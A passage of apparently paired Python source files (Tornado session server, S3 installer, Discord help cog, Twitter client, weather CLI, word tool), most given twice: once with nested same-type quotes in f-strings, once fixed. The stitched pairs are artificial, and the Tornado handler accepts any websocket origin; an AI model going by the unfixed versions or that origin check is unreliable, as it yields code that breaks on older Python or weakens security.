self._sessions[int(session_id)] session.add_observer(observer) self._observer_to_session[observer] = session if session.get_state() == Session.IDLE: await session.start() return session async def stop_observation(self, observer: SessionObserver): session = self._observer_to_session[observer] session.remove_observer(observer) del self._observer_to_session[observer] if not session.has_observers(): await session.stop() if not session.has_keyboard(): self.remove_session(session) def keyboard_connected(self, keyboard: KeyboardHandler) -> Session: session = Session(self, hostname=keyboard.request.host.split(":")[0]) session.set_keyboard(keyboard) self.add_session(session) self._keyboard_to_session[keyboard] = session return session def keyboard_disconnected(self, keyboard: KeyboardHandler): session = self._keyboard_to_session[keyboard] session.set_keyboard(None) del self._keyboard_to_session[keyboard] if not session.has_observers(): self.remove_session(session) async def stop(self): for session in list(self._sessions.values()): await session.stop() self.remove_session(session) class IndexHandler(tornado.web.RequestHandler): def get(self): self.render("index.html") class ListHandler(tornado.web.RequestHandler): _sc: SessionsController def initialize(self, sc): self._sc = sc def get(self): self.write( json.dumps( [ { "id": s.i, "kb": s.has_keyboard(), } ] for s in self._sc.list_sessions() ) ) class WatchListHandler(tornado.websocket.WebSocketHandler): def initialize(self, sc): self._sc = sc def open(self): # pylint: disable=arguments-differ self._sc.add_list_watcher(self) def on_close(self): self._sc.remove_list_watcher(self) def on_session_remove(self, session): self.write_message( json.dumps( { "command": "session_remove", "session": session.to_dict(), } ) ) def on_session_add(self, session): self.write_message( json.dumps( { "command": "session_add", "session": session.to_dict(), } ) ) def on_session_state_change(self, session, unused_state): self.write_message( json.dumps( { "command": "session_state", "session": session.to_dict(), } ) ) def on_keystrokes(self, session): self.write_message( json.dumps( { "command": "keystrokes", "keystrokes": { "session": session.to_dict(), }, } ) ) class ObserveHandler(tornado.websocket.WebSocketHandler): i = 0 def check_origin(self, origin): return True def initialize(self, sc): self._sc = sc self._session = None async def _start_observation(self, session_id): try: await self._sc.start_observation(self, session_id) except tornado.web.HTTPError: self.write_message( json.dumps( { "status": "unknown session", } ) ) except Error as e: logging.exception("Failed to start observation: %s", str(e)) def open(self, session_id): # pylint: disable=arguments-differ self.i = ObserveHandler.i ObserveHandler.i += 1 msg = f"Web {self.i} starting observation" if session_id != "new": msg += f" of session {session_id}" logging.info(msg) if session_id == "new": session_id = None IOLoop.instance().add_callback(self._start_observation, session_id) def on_close(self): logging.info("Web stopped observing: %d", self.i) IOLoop.instance().add_callback(self._sc.stop_observation, self) def on_message(self, message): logging.info("message from %s: %s", self.i, message) def on_console_close(self): logging.info("Observed console closed") self.write_message( json.dumps( { "status": "disconnected", } ) ) def on_session_state_change(self, session, state): if state == Session.RUNNING: self.on_connection_details( session, session.get_ssh_url(), session.get_mp3_url(), ) elif state == Session.STOPPING: self.write_message( json.dumps( { "id": session.i, "status": "disconnected", } ) ) elif state == Session.STARTING: self.write_message( json.dumps( { "id": session.i, "session": session.to_dict(), "status": "connecting", } ) ) elif state == Session.FAILED: self.write_message( json.dumps( { "id": session.i, "status": "error", } ) ) self.close() elif state == Session.IDLE: pass else: logging.error("Unexpected session state in WS handler: %s", state) def on_connection_details(self, session, ssh_url, mp3_url): resp = { "status": "connected", "ssh": { "url": ssh_url, }, "mp3": { "url": mp3_url, }, "session": session.to_dict(), } logging.info("Sending ssh details to web client: %s", str(resp)) self.write_message(json.dumps(resp))
import argparse import sys import os import boto3 import json from botocore.exceptions import ProfileNotFound import shutil from shutil import make_archive, copytree from colored import fg, attr import yaml from yaml.scanner import ScannerError from types import SimpleNamespace def get_install_properties(): config_file_path = f"{os.path.dirname(os.path.realpath(__file__))}/config.yml" try: config_parameters = yaml.load(open(config_file_path, 'r'), Loader=yaml.FullLoader) # nosec except ScannerError as err: print(f"{config_file_path} is not a valid YAML file. Verify syntax, {err}") sys.exit(1) except FileNotFoundError: print(f"{config_file_path} not found") sys.exit(1) if config_parameters: return config_parameters else: sys.exit("No parameters were specified.") def upload_objects(install_directory, bucket, bucket_folder): # Upload required assets to customer S3 bucket print(f"\n====== Uploading install files to {bucket}/{bucket_folder} ======\n") dist_directory = f"{install_directory}/dist/" if os.path.isdir(dist_directory): print(f"{dist_directory} 文件夹存在,删除。") shutil.rmtree(dist_directory) os.makedirs(dist_directory) make_archive(f"{dist_directory}soca", "gztar", f"{install_directory}/../source/soca") copytree(f"{install_directory}/../source/scripts", f"{dist_directory}scripts/") try: install_bucket = s3.Bucket(bucket) for path, subdirs, files in os.walk(f"{dist_directory}"): path = path.replace("\\", "/") directory = path.split("/")[-1] for file in files: if directory: upload_location = f"{bucket_folder}/{directory}/{file}" else: upload_location = f"{bucket_folder}/{file}" print(f"{fg("green")}[+] Uploading {os.path.join(path, file)} to s3://{bucket}/{upload_location} {attr("reset")}") install_bucket.upload_file(os.path.join(path, file), upload_location) except Exception as upload_error: print(f"{fg("red")} Error during upload {upload_error}{attr("reset")}") if __name__ == "__main__": parser = argparse.ArgumentParser(description="Create SOCA installer") parser.add_argument("--profile", "-p", type=str, help="AWS CLI profile to use") args = parser.parse_args() if args.profile: try: session = boto3.session.Session(profile_name=args.profile) except ProfileNotFound: print(f"{fg("red")} Profile {args.profile} not found. Check ~/.aws/credentials file{attr("reset")}") sys.exit(1) else: session = boto3.session.Session() s3 = session.resource("s3") install_directory = os.path.dirname(os.path.realpath(__file__)) os.chdir(install_directory) install_props = json.loads(json.dumps(get_install_properties()), object_hook=lambda d: SimpleNamespace(**d)) bucket = install_props.Config.bucket bucket_folder = install_props.Config.bucket_folder upload_objects(install_directory,bucket,bucket_folder)
import argparse import sys import os import boto3 import json from botocore.exceptions import ProfileNotFound import shutil from shutil import make_archive, copytree from colored import fg, attr import yaml from yaml.scanner import ScannerError from types import SimpleNamespace def get_install_properties(): config_file_path = f"{os.path.dirname(os.path.realpath(__file__))}/config.yml" try: config_parameters = yaml.load(open(config_file_path, 'r'), Loader=yaml.FullLoader) # nosec except ScannerError as err: print(f"{config_file_path} is not a valid YAML file. Verify syntax, {err}") sys.exit(1) except FileNotFoundError: print(f"{config_file_path} not found") sys.exit(1) if config_parameters: return config_parameters else: sys.exit("No parameters were specified.") def upload_objects(install_directory, bucket, bucket_folder): # Upload required assets to customer S3 bucket print(f"\n====== Uploading install files to {bucket}/{bucket_folder} ======\n") dist_directory = f"{install_directory}/dist/" if os.path.isdir(dist_directory): print(f"{dist_directory} 文件夹存在,删除。") shutil.rmtree(dist_directory) os.makedirs(dist_directory) make_archive(f"{dist_directory}soca", "gztar", f"{install_directory}/../source/soca") copytree(f"{install_directory}/../source/scripts", f"{dist_directory}scripts/") try: install_bucket = s3.Bucket(bucket) for path, subdirs, files in os.walk(f"{dist_directory}"): path = path.replace("\\", "/") directory = path.split("/")[-1] for file in files: if directory: upload_location = f"{bucket_folder}/{directory}/{file}" else: upload_location = f"{bucket_folder}/{file}" print(f"{fg('green')}[+] Uploading {os.path.join(path, file)} to s3://{bucket}/{upload_location} {attr('reset')}") install_bucket.upload_file(os.path.join(path, file), upload_location) except Exception as upload_error: print(f"{fg('red')} Error during upload {upload_error}{attr('reset')}") if __name__ == "__main__": parser = argparse.ArgumentParser(description="Create SOCA installer") parser.add_argument("--profile", "-p", type=str, help="AWS CLI profile to use") args = parser.parse_args() if args.profile: try: session = boto3.session.Session(profile_name=args.profile) except ProfileNotFound: print(f"{fg('red')} Profile {args.profile} not found. Check ~/.aws/credentials file{attr('reset')}") sys.exit(1) else: session = boto3.session.Session() s3 = session.resource("s3") install_directory = os.path.dirname(os.path.realpath(__file__)) os.chdir(install_directory) install_props = json.loads(json.dumps(get_install_properties()), object_hook=lambda d: SimpleNamespace(**d)) bucket = install_props.Config.bucket bucket_folder = install_props.Config.bucket_folder upload_objects(install_directory,bucket,bucket_folder)
import discord from discord.ext import commands import os import random import re colors = { 'DEFAULT': 0x000000, 'WHITE': 0xFFFFFF, 'AQUA': 0x1ABC9C, 'GREEN': 0x2ECC71, 'BLUE': 0x3498DB, 'PURPLE': 0x9B59B6, 'LUMINOUS_VIVID_PINK': 0xE91E63, 'GOLD': 0xF1C40F, 'ORANGE': 0xE67E22, 'RED': 0xE74C3C, 'GREY': 0x95A5A6, 'NAVY': 0x34495E, 'DARK_AQUA': 0x11806A, 'DARK_GREEN': 0x1F8B4C, 'DARK_BLUE': 0x206694, 'DARK_PURPLE': 0x71368A, 'DARK_VIVID_PINK': 0xAD1457, 'DARK_GOLD': 0xC27C0E, 'DARK_ORANGE': 0xA84300, 'DARK_RED': 0x992D22, 'DARK_GREY': 0x979C9F, 'DARKER_GREY': 0x7F8C8D, 'LIGHT_GREY': 0xBCC0C0, 'DARK_NAVY': 0x2C3E50, 'BLURPLE': 0x7289DA, 'GREYPLE': 0x99AAB5, 'DARK_BUT_NOT_BLACK': 0x2C2F33, 'NOT_QUITE_BLACK': 0x23272A } class Help(commands.Cog): def __init__(self, bot): self.bot = bot @commands.Cog.listener() async def on_ready(self): print("Help Cog has been loaded\n-----") @commands.command(name='help', description='The help command!', aliases=['commands', 'command'], usage='cog') async def help_command(self, ctx, cog='all'): # The third parameter comes into play when # only one word argument has to be passed by the user # Prepare the embed reg = '\d' #Match any numbers if(re.search(reg, cog)): pass color_list = [c for c in colors.values()] help_embed = discord.Embed(title='Help', color=random.choice(color_list)) help_embed.set_thumbnail(url=self.bot.user.avatar_url) help_embed.set_footer(text=f'Requested by {ctx.message.author.name}', icon_url=self.bot.user.avatar_url) # Get a list of all cogs cogs = [c for c in self.bot.cogs.keys()] cogs.remove('UtilFunctions') cogs.remove('Events') # If cog is not specified by the user, we list all cogs and commands if cog == 'all': for cog in cogs: # Get a list of all commands under each cog cog_commands = self.bot.get_cog(cog).get_commands() commands_list = '' for comm in cog_commands: commands_list += f'**{comm.name}** - *{comm.description}*\n' # Add the cog's details to the embed. help_embed.add_field(name=cog, value=commands_list, inline=False).add_field(name='\u200b', value='\u200b', inline=False) # Also added a blank field '\u200b' is a whitespace character. pass else: # If the cog was specified lower_cogs = [c.lower() for c in cogs] # If the cog actually exists. if cog.lower() in lower_cogs: # Get a list of all commands in the specified cog commands_list = self.bot.get_cog(cogs[ lower_cogs.index(cog.lower()) ]).get_commands() help_text='' # Add details of each command to the help text # Command Name # Description # [Aliases] # # Format for command in commands_list: help_text += f'```{command.name}```\n' \ f'**{command.description}**\n\n' # Also add aliases, if there are any if len(command.aliases) > 0: help_text += f'**Aliases :** `{'`, `'.join(command.aliases)}`\n\n\n' else: # Add a newline character to keep it pretty # That IS the whole purpose of custom help help_text += '\n' # Finally the format help_text += f'Format: `@{self.bot.user.name}#{self.bot.user.discriminator}' \ f' {command.name} {command.usage if command.usage is not None else ''}`\n\n\n\n' help_embed.description = help_text else: # Notify the user of invalid cog and finish the command await ctx.send('Invalid cog specified.\nUse `help` command to list all cogs.') return await ctx.send(embed=help_embed) return def setup(bot): bot.add_cog(Help(bot))
import discord from discord.ext import commands import os import random import re colors = { 'DEFAULT': 0x000000, 'WHITE': 0xFFFFFF, 'AQUA': 0x1ABC9C, 'GREEN': 0x2ECC71, 'BLUE': 0x3498DB, 'PURPLE': 0x9B59B6, 'LUMINOUS_VIVID_PINK': 0xE91E63, 'GOLD': 0xF1C40F, 'ORANGE': 0xE67E22, 'RED': 0xE74C3C, 'GREY': 0x95A5A6, 'NAVY': 0x34495E, 'DARK_AQUA': 0x11806A, 'DARK_GREEN': 0x1F8B4C, 'DARK_BLUE': 0x206694, 'DARK_PURPLE': 0x71368A, 'DARK_VIVID_PINK': 0xAD1457, 'DARK_GOLD': 0xC27C0E, 'DARK_ORANGE': 0xA84300, 'DARK_RED': 0x992D22, 'DARK_GREY': 0x979C9F, 'DARKER_GREY': 0x7F8C8D, 'LIGHT_GREY': 0xBCC0C0, 'DARK_NAVY': 0x2C3E50, 'BLURPLE': 0x7289DA, 'GREYPLE': 0x99AAB5, 'DARK_BUT_NOT_BLACK': 0x2C2F33, 'NOT_QUITE_BLACK': 0x23272A } class Help(commands.Cog): def __init__(self, bot): self.bot = bot @commands.Cog.listener() async def on_ready(self): print("Help Cog has been loaded\n-----") @commands.command(name='help', description='The help command!', aliases=['commands', 'command'], usage='cog') async def help_command(self, ctx, cog='all'): # The third parameter comes into play when # only one word argument has to be passed by the user # Prepare the embed reg = '\d' #Match any numbers if(re.search(reg, cog)): pass color_list = [c for c in colors.values()] help_embed = discord.Embed(title='Help', color=random.choice(color_list)) help_embed.set_thumbnail(url=self.bot.user.avatar_url) help_embed.set_footer(text=f'Requested by {ctx.message.author.name}', icon_url=self.bot.user.avatar_url) # Get a list of all cogs cogs = [c for c in self.bot.cogs.keys()] cogs.remove('UtilFunctions') cogs.remove('Events') # If cog is not specified by the user, we list all cogs and commands if cog == 'all': for cog in cogs: # Get a list of all commands under each cog cog_commands = self.bot.get_cog(cog).get_commands() commands_list = '' for comm in cog_commands: commands_list += f'**{comm.name}** - *{comm.description}*\n' # Add the cog's details to the embed. help_embed.add_field(name=cog, value=commands_list, inline=False).add_field(name='\u200b', value='\u200b', inline=False) # Also added a blank field '\u200b' is a whitespace character. pass else: # If the cog was specified lower_cogs = [c.lower() for c in cogs] # If the cog actually exists. if cog.lower() in lower_cogs: # Get a list of all commands in the specified cog commands_list = self.bot.get_cog(cogs[ lower_cogs.index(cog.lower()) ]).get_commands() help_text='' # Add details of each command to the help text # Command Name # Description # [Aliases] # # Format for command in commands_list: help_text += f'```{command.name}```\n' \ f'**{command.description}**\n\n' # Also add aliases, if there are any if len(command.aliases) > 0: help_text += f'**Aliases :** `{"`, `".join(command.aliases)}`\n\n\n' else: # Add a newline character to keep it pretty # That IS the whole purpose of custom help help_text += '\n' # Finally the format help_text += f'Format: `@{self.bot.user.name}#{self.bot.user.discriminator}' \ f' {command.name} {command.usage if command.usage is not None else ""}`\n\n\n\n' help_embed.description = help_text else: # Notify the user of invalid cog and finish the command await ctx.send('Invalid cog specified.\nUse `help` command to list all cogs.') return await ctx.send(embed=help_embed) return def setup(bot): bot.add_cog(Help(bot))
import abc import logging import re from typing import List, Union import twitter as twitter_lib from django.conf import settings from django.db import models from django.utils.html import strip_tags from certego_saas.settings import certego_apps_settings __all__ = [ "Twitter", ] class _TwitterInterface(metaclass=abc.ABCMeta): @property def log(self): return logging.getLogger(f"certego_saas.{self.__class__.__name__}") @abc.abstractmethod def post_tweet( self, msg: str, media: List[Union[str, models.FileField]] = None, header: str = None, ): pass class _FakeTwitter(_TwitterInterface): def post_tweet( self, msg: str, media: List[Union[str, models.FileField]] = None, header: str = None, ): self.log.debug(f"{header if header else ""}: {msg}") class _Twitter(_TwitterInterface): """ Twitter client. """ CHARACTER_LIMIT = twitter_lib.api.CHARACTER_LIMIT client = twitter_lib.Api( consumer_key=certego_apps_settings.TWITTER_CONSUMER_KEY, consumer_secret=certego_apps_settings.TWITTER_CONSUMER_SECRET, access_token_key=certego_apps_settings.TWITTER_TOKEN_KEY, access_token_secret=certego_apps_settings.TWITTER_TOKEN_SECRET, ) def __init__(self): if not self.client.VerifyCredentials(): raise Exception("Wrong credentials") @staticmethod def __parse(msg) -> List[str]: return re.findall(r'href=[\'"]?([^\'" >]+)', msg) def post_tweet( self, msg: str, media: List[Union[str, models.FileField]] = None, header: str = None, ): """ To post a tweet. """ urls = self.__parse(msg) msg = strip_tags(msg) msg += " ".join(urls) # i wanna add a custom delimiter + initial message if header: msg = header + " " + msg size = self.CHARACTER_LIMIT - 9 if len(msg) >= self.CHARACTER_LIMIT: # splitting the text in N messages messages = [msg[i : i + size] for i in range(0, len(msg), size)] # adding 0/10, 1/10 to the end of the messages messages = [ msg + f" {i}/{len(messages) - 1}" for i, msg in enumerate(messages) ] else: messages = [msg] self.log.info(messages) result_id = self.client.PostUpdate(status=messages[0], media=media).id for msg in messages[1:]: result_id = self.client.PostUpdate( status=msg, in_reply_to_status_id=result_id ).id #: Twitter Client Twitter = _FakeTwitter if settings.STAGE_LOCAL or settings.STAGE_CI else _Twitter
import abc import logging import re from typing import List, Union import twitter as twitter_lib from django.conf import settings from django.db import models from django.utils.html import strip_tags from certego_saas.settings import certego_apps_settings __all__ = [ "Twitter", ] class _TwitterInterface(metaclass=abc.ABCMeta): @property def log(self): return logging.getLogger(f"certego_saas.{self.__class__.__name__}") @abc.abstractmethod def post_tweet( self, msg: str, media: List[Union[str, models.FileField]] = None, header: str = None, ): pass class _FakeTwitter(_TwitterInterface): def post_tweet( self, msg: str, media: List[Union[str, models.FileField]] = None, header: str = None, ): self.log.debug(f"{header if header else ''}: {msg}") class _Twitter(_TwitterInterface): """ Twitter client. """ CHARACTER_LIMIT = twitter_lib.api.CHARACTER_LIMIT client = twitter_lib.Api( consumer_key=certego_apps_settings.TWITTER_CONSUMER_KEY, consumer_secret=certego_apps_settings.TWITTER_CONSUMER_SECRET, access_token_key=certego_apps_settings.TWITTER_TOKEN_KEY, access_token_secret=certego_apps_settings.TWITTER_TOKEN_SECRET, ) def __init__(self): if not self.client.VerifyCredentials(): raise Exception("Wrong credentials") @staticmethod def __parse(msg) -> List[str]: return re.findall(r'href=[\'"]?([^\'" >]+)', msg) def post_tweet( self, msg: str, media: List[Union[str, models.FileField]] = None, header: str = None, ): """ To post a tweet. """ urls = self.__parse(msg) msg = strip_tags(msg) msg += " ".join(urls) # i wanna add a custom delimiter + initial message if header: msg = header + " " + msg size = self.CHARACTER_LIMIT - 9 if len(msg) >= self.CHARACTER_LIMIT: # splitting the text in N messages messages = [msg[i : i + size] for i in range(0, len(msg), size)] # adding 0/10, 1/10 to the end of the messages messages = [ msg + f" {i}/{len(messages) - 1}" for i, msg in enumerate(messages) ] else: messages = [msg] self.log.info(messages) result_id = self.client.PostUpdate(status=messages[0], media=media).id for msg in messages[1:]: result_id = self.client.PostUpdate( status=msg, in_reply_to_status_id=result_id ).id #: Twitter Client Twitter = _FakeTwitter if settings.STAGE_LOCAL or settings.STAGE_CI else _Twitter
import requests,json,csv,sqlite3,datetime from datetime import date class UserInteraction(): def __init__(self,woied=0,city='',user_date=''): self.woied = woied self.city = city self.user_date = user_date def isDateValid(self,user_date): today = date.today() try: newDate = datetime.datetime(int(user_date[0]),int(user_date[1]),int(user_date[2])) return True except ValueError: return False else: if datetime.date(int(user_date[0]), int(user_date[1]), int(user_date[2])) > today: return False else: return True def getDate(self): user_date = '2025,15,45'.split(',') user_input = input("What date would you like to see the weather for? (Year,Month,Day)") user_date = user_input.split(',') while True: if self.isDateValid(user_date) == False: user_input = input("Please enter a valid date in the format (Year,Month,Day)") user_date = user_input.split(',') else: break self.user_date = user_date def isCityValid(self,data): if data == []: return False elif len(data)>1: return False else: return True def getCityData(self,city): url = f"https://www.metaweather.com/api/location/search/?query={city}" r = requests.get(url) return json.loads(r.content) def getCity(self): city = input('What city would you like to see the weather for?').lower() data = self.getCityData(city) while True: if self.isCityValid(data) == False: city = input('That is not a valid city or it is not in the database. Please enter a valid city.').lower() data = self.getCityData(city) else: break self.city = city.replace(" ","_") self.woied = data[0]['woeid'] def isThereWeatherData(self,data): if len(data) == 0: return False else: return True class API(): def __init__(self,woied='',user_date='',location_day_weather_data=[],consolidated_weather_data=[]): self.woied = woied self.user_date = user_date self.location_day_weather_data = location_day_weather_data self.consolidated_weather_data = consolidated_weather_data def getLocationDayData(self): date_dict = {'year':self.user_date[0],'month':self.user_date[1],'day':self.user_date[2]} url = f"https://www.metaweather.com/api/location/{self.woied}/{date_dict["year"]}/{date_dict["month"]}/{date_dict["day"]}" r = requests.get(url) data = json.loads(r.content) self.location_day_weather_data = data def getConsolidatedWeather(self): url = f"https://www.metaweather.com/api/location/{self.woied}/" r = requests.get(url) data = json.loads(r.content) self.consolidated_weather_data = data['consolidated_weather'] class DataBase(): def __init__(self,conn=''): self.conn = sqlite3.connect('metaweather.db') def createDataBase(self): c = self.conn.cursor() c.execute('''CREATE TABLE weatherdata (woeid integer, air_pressure text, applicable_date text, created text, humidity integer, id integer, max_temp real, min_temp real, predictability integer, the_temp real, visibility real, weather_state_abbr text, weather_state_name text, wind_direction real, wind_direction_compass text, wind_speed real)''') def formatDataForDb(self,data,woeid): formatted_data = [] key_list = list(sorted(data[0].keys())) for item in data: row = [woeid] for key in key_list: row.append(item[key]) formatted_data.append(tuple(row)) return formatted_data def addToDatabase(self,data,woied): c = self.conn.cursor() weather_data = self.formatDataForDb(data,woied) c.executemany('INSERT INTO weatherdata VALUES (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)', weather_data) self.conn.commit() self.conn.close() class JSON(): def saveRawData(self,data,city): with open(f"weather_{data[0]["applicable_date"]}_{city}.json", 'w') as d: json.dump(data, d, indent = 4, sort_keys = True) class CSV(): def consolidatedWeatherToCSV(self,data,city): with open(f"weather_data_{data[0]["applicable_date"]}_{city}.csv", mode='w') as csv_file: fieldnames = list(data[0].keys()) writer = csv.DictWriter(csv_file, fieldnames=fieldnames) writer.writeheader() length_data = len(data) - 1 for i in range(0,length_data): row = tuple(list(data[i].values())) csv_data = dict(zip(tuple(fieldnames),row)) writer.writerow(csv_data) def dbToCSV(self,data): conn = sqlite3.connect('metaweather.db') c = conn.cursor() c.execute('SELECT * FROM weatherdata LIMIT 1') fieldnames = [description[0] for description in c.description] today_date = str(datetime.datetime.now())[:10] with open(f"database_export_{today_date}.csv", mode='w') as csv_file: writer = csv.DictWriter(csv_file, fieldnames=fieldnames) writer.writeheader() for row in c.execute('SELECT * FROM weatherdata ORDER BY created'): data = dict(zip(tuple(fieldnames),row)) writer.writerow(data) class weatherApp(): def __init__(self): self.ui = UserInteraction() self.api = API() self.database = DataBase() self.csv = CSV() self.json = JSON() self.city = '' self.date = '' def userInteraction(self): self.city = self.ui.getCity() self.date = self.ui.getDate() def checkPayload(self): if self.ui.isThereWeatherData(self.api.location_day_weather_data) == False: return False else: return True def apiInteraction(self): self.api.woied = self.ui.woied self.api.user_date = self.ui.user_date self.api.getLocationDayData() self.api.getConsolidatedWeather() def errorCheck(self): while True: if self.checkPayload() == True: break else: print('There is no data for that location and day. Please try again') self.userInteraction() self.apiInteraction() def databaseInteraction(self): self.database.addToDatabase(data=self.api.location_day_weather_data,woied=self.ui.woied) def csvInteraction(self): self.csv.consolidatedWeatherToCSV(data=self.api.consolidated_weather_data,city=self.ui.city) self.csv.dbToCSV(data=self.api.location_day_weather_data) def jsonInteraction(self): self.json.saveRawData(data=self.api.location_day_weather_data,city=self.ui.city) def printResults(self): for i in range(0,10): print('') print('The weather data has been added to the database.') print('A csv file has been generated for the consolidated weather for that location.') print('A csv file has been generated as a snapshot of the database.') print('A JSON file of the location/date weather data has been generated.') print('Thank You! Goodbye!') print('') class Controller(): def __init__(self): self.app = weatherApp() self.app.userInteraction() self.app.apiInteraction() self.app.errorCheck() self.app.databaseInteraction() self.app.csvInteraction() self.app.jsonInteraction() self.app.printResults() def appLogic(): controller = Controller() # USE THIS TO CREATE A NEW DATABASE # db = DataBase() # db.createDataBase() if __name__ == "__main__": appLogic()
import requests,json,csv,sqlite3,datetime from datetime import date class UserInteraction(): def __init__(self,woied=0,city='',user_date=''): self.woied = woied self.city = city self.user_date = user_date def isDateValid(self,user_date): today = date.today() try: newDate = datetime.datetime(int(user_date[0]),int(user_date[1]),int(user_date[2])) return True except ValueError: return False else: if datetime.date(int(user_date[0]), int(user_date[1]), int(user_date[2])) > today: return False else: return True def getDate(self): user_date = '2025,15,45'.split(',') user_input = input("What date would you like to see the weather for? (Year,Month,Day)") user_date = user_input.split(',') while True: if self.isDateValid(user_date) == False: user_input = input("Please enter a valid date in the format (Year,Month,Day)") user_date = user_input.split(',') else: break self.user_date = user_date def isCityValid(self,data): if data == []: return False elif len(data)>1: return False else: return True def getCityData(self,city): url = f"https://www.metaweather.com/api/location/search/?query={city}" r = requests.get(url) return json.loads(r.content) def getCity(self): city = input('What city would you like to see the weather for?').lower() data = self.getCityData(city) while True: if self.isCityValid(data) == False: city = input('That is not a valid city or it is not in the database. Please enter a valid city.').lower() data = self.getCityData(city) else: break self.city = city.replace(" ","_") self.woied = data[0]['woeid'] def isThereWeatherData(self,data): if len(data) == 0: return False else: return True class API(): def __init__(self,woied='',user_date='',location_day_weather_data=[],consolidated_weather_data=[]): self.woied = woied self.user_date = user_date self.location_day_weather_data = location_day_weather_data self.consolidated_weather_data = consolidated_weather_data def getLocationDayData(self): date_dict = {'year':self.user_date[0],'month':self.user_date[1],'day':self.user_date[2]} url = f"https://www.metaweather.com/api/location/{self.woied}/{date_dict['year']}/{date_dict['month']}/{date_dict['day']}" r = requests.get(url) data = json.loads(r.content) self.location_day_weather_data = data def getConsolidatedWeather(self): url = f"https://www.metaweather.com/api/location/{self.woied}/" r = requests.get(url) data = json.loads(r.content) self.consolidated_weather_data = data['consolidated_weather'] class DataBase(): def __init__(self,conn=''): self.conn = sqlite3.connect('metaweather.db') def createDataBase(self): c = self.conn.cursor() c.execute('''CREATE TABLE weatherdata (woeid integer, air_pressure text, applicable_date text, created text, humidity integer, id integer, max_temp real, min_temp real, predictability integer, the_temp real, visibility real, weather_state_abbr text, weather_state_name text, wind_direction real, wind_direction_compass text, wind_speed real)''') def formatDataForDb(self,data,woeid): formatted_data = [] key_list = list(sorted(data[0].keys())) for item in data: row = [woeid] for key in key_list: row.append(item[key]) formatted_data.append(tuple(row)) return formatted_data def addToDatabase(self,data,woied): c = self.conn.cursor() weather_data = self.formatDataForDb(data,woied) c.executemany('INSERT INTO weatherdata VALUES (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)', weather_data) self.conn.commit() self.conn.close() class JSON(): def saveRawData(self,data,city): with open(f"weather_{data[0]['applicable_date']}_{city}.json", 'w') as d: json.dump(data, d, indent = 4, sort_keys = True) class CSV(): def consolidatedWeatherToCSV(self,data,city): with open(f"weather_data_{data[0]['applicable_date']}_{city}.csv", mode='w') as csv_file: fieldnames = list(data[0].keys()) writer = csv.DictWriter(csv_file, fieldnames=fieldnames) writer.writeheader() length_data = len(data) - 1 for i in range(0,length_data): row = tuple(list(data[i].values())) csv_data = dict(zip(tuple(fieldnames),row)) writer.writerow(csv_data) def dbToCSV(self,data): conn = sqlite3.connect('metaweather.db') c = conn.cursor() c.execute('SELECT * FROM weatherdata LIMIT 1') fieldnames = [description[0] for description in c.description] today_date = str(datetime.datetime.now())[:10] with open(f"database_export_{today_date}.csv", mode='w') as csv_file: writer = csv.DictWriter(csv_file, fieldnames=fieldnames) writer.writeheader() for row in c.execute('SELECT * FROM weatherdata ORDER BY created'): data = dict(zip(tuple(fieldnames),row)) writer.writerow(data) class weatherApp(): def __init__(self): self.ui = UserInteraction() self.api = API() self.database = DataBase() self.csv = CSV() self.json = JSON() self.city = '' self.date = '' def userInteraction(self): self.city = self.ui.getCity() self.date = self.ui.getDate() def checkPayload(self): if self.ui.isThereWeatherData(self.api.location_day_weather_data) == False: return False else: return True def apiInteraction(self): self.api.woied = self.ui.woied self.api.user_date = self.ui.user_date self.api.getLocationDayData() self.api.getConsolidatedWeather() def errorCheck(self): while True: if self.checkPayload() == True: break else: print('There is no data for that location and day. Please try again') self.userInteraction() self.apiInteraction() def databaseInteraction(self): self.database.addToDatabase(data=self.api.location_day_weather_data,woied=self.ui.woied) def csvInteraction(self): self.csv.consolidatedWeatherToCSV(data=self.api.consolidated_weather_data,city=self.ui.city) self.csv.dbToCSV(data=self.api.location_day_weather_data) def jsonInteraction(self): self.json.saveRawData(data=self.api.location_day_weather_data,city=self.ui.city) def printResults(self): for i in range(0,10): print('') print('The weather data has been added to the database.') print('A csv file has been generated for the consolidated weather for that location.') print('A csv file has been generated as a snapshot of the database.') print('A JSON file of the location/date weather data has been generated.') print('Thank You! Goodbye!') print('') class Controller(): def __init__(self): self.app = weatherApp() self.app.userInteraction() self.app.apiInteraction() self.app.errorCheck() self.app.databaseInteraction() self.app.csvInteraction() self.app.jsonInteraction() self.app.printResults() def appLogic(): controller = Controller() # USE THIS TO CREATE A NEW DATABASE # db = DataBase() # db.createDataBase() if __name__ == "__main__": appLogic()
#!/usr/bin/env python # -*- coding: utf-8 -*- '''quick_word Usage: quick_word <word_count> quick_word -h | --help quick_word --version Options: -h --help Show this screen. --version Show version. ''' from __future__ import unicode_literals, print_function import sys from docopt import docopt from .words import get_word __version__ = "0.1.0" __author__ = "Kevin Yokley" __license__ = "MIT" def main(): '''Main entry point for the quick_word CLI.''' args = docopt(__doc__, version=__version__) try: word_count = int(args['<word_count>']) except ValueError: print(f"Expected an int. Got '{args["<word_count>"]}'") sys.exit(1) print('\n'.join(get_word() for i in range(word_count))) if __name__ == '__main__': main()
#!/usr/bin/env python # -*- coding: utf-8 -*- '''quick_word Usage: quick_word <word_count> quick_word -h | --help quick_word --version Options: -h --help Show this screen. --version Show version. ''' from __future__ import unicode_literals, print_function import sys from docopt import docopt from .words import get_word __version__ = "0.1.0" __author__ = "Kevin Yokley" __license__ = "MIT" def main(): '''Main entry point for the quick_word CLI.''' args = docopt(__doc__, version=__version__) try: word_count = int(args['<word_count>']) except ValueError: print(f"Expected an int. Got '{args['<word_count>']}'") sys.exit(1) print('\n'.join(get_word() for i in range(word_count))) if __name__ == '__main__': main()
